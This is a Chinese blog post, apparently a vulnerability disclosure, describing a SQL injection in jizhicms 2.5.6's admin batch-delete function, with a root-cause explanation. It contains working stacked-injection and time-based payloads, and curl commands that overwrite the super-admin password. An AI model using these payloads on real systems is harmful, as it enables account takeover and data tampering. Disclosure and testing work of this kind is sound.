jizhicms-后台存在sql注入

23882 发布于 21 小时前 9 次阅读


漏洞版本:2.5.6(其他暂未测试,疑似均有)

漏洞范围:后端的批量删除功能(其他暂未测试,预估对于后台用deleteAll()函数的地方均有影响)

漏洞复现:

复现环境:压缩包解压复制到根目录,按照官网正常复现安装操作,mysql数据库正常安装,保持默认安装完后的环境,安装完成后需设置一个超级管理员账号(默认账号即可),和一个普通管理员(设置权限均默认操作),普通管理员用来验证sql注入

image-20251223224912079

利用场景之一:普通管理员利用sql注入修改超级管理员密码

接下来实际操作,开启抓包功能(如果不理解抓包功能可跳到curl命令复现)

点击批量删除功能抓包

image-20251223225441075

修改数据包如下,无需真删,可以把id改成0

data=0);update jz_level set pass=0x6130376236373531643264396662336133613834383861303330633639656336 where id=1-- -

[!NOTE]

推荐把原始请求Content-Length:删掉避免影响操作

payload解析:利用)闭合,再通过;实现堆叠注入,jz_level为表,pass为(md5(md5(密码) + ‘YF’))的hex编码,此密码为123456,直接存储密码会有问题,所以要加密放,这两个可根据实际情况修改

image-20251223225834247

响应包,此时已经更改密码成功

image-20251223230210286

登录数据库id为1的管理员账号,发现已经修改了密码

curl复现(直接复制到window命令行即可)

cookie值可以从浏览器获得,域名请填写自己的,data=文章id数字,其他无需更改(timeout仅为方便看延时,可无)(另外请大佬不要用我的语句黑我,谢谢)

image-20251223231616128

延时验证,如果不明显请增加延时时长(请注意,因为是批量删除功能,且sql注入语句用的是and语句,如果data的语句的id文章不存在,and将无法执行,所以请确保对存在的文章删除,如果用or语句,将会调用过多,导致延迟时间过长)

正常操作:

curl -X POST "http://test.23882.me/index.php/admins/Article/deleteAll.html" -H "Cookie: PHPSESSID=vp75q646flfg6no56i42k9kk9i" -H "X-Requested-With: XMLHttpRequest" --data "data=2" -w "\ntimeout: %{time_total}s\n"

延时操作:

curl -X POST "http://test.23882.me/index.php/admins/Article/deleteAll.html" -H "Cookie: PHPSESSID=vp75q646flfg6no56i42k9kk9i" -H "X-Requested-With: XMLHttpRequest" --data "data=3)%20and%20sleep(5)--%20-" -w "\ntimeout: %{time_total}s\n"

image-20251223233539354

修改超级管理员密码验证

[!NOTE]

payload解析:利用)闭合,再通过;实现堆叠注入,jz_level为表,pass为(md5(md5(密码) + ‘YF’))的hex编码,此密码为12345678,直接存储密码会有问题,所以要加密放,这两个可根据实际情况修改

curl -X POST "http://test.23882.me/index.php/admins/Article/deleteAll.html" -H "Cookie: PHPSESSID=vp75q646flfg6no56i42k9kk9i" -H "X-Requested-With: XMLHttpRequest" --data "data=5);update%20jz_level%20set%20pass=0x6564653461376536386663386430613765363032623862626530643234636466%20where%20id=1--%20-"

无返回数据包,执行完后直接尝试登录即可

漏洞成因:

ArticleController.php第605行:id in() 是整数上下文,不需要引号包裹,addslashes() 转义单引号无效。可直接闭合括号并注入任意SQL,PDO支持堆叠查询,可执行UPDATE/INSERT等操作。

漏洞危害

  1. 权限提升 - 普通管理员可修改超级管理员密码,接管最高权限
  2. 数据泄露 - 通过时间盲注可逐字符爆破数据库内容
  3. 数据篡改 - 堆叠注入可执行UPDATE/INSERT/DELETE,任意修改数据
  4. getshell风险 - 若MySQL有FILE权限,可写入webshell

危害等级估计:高危

此作者没有提供个人介绍。
最后更新于 2026-02-15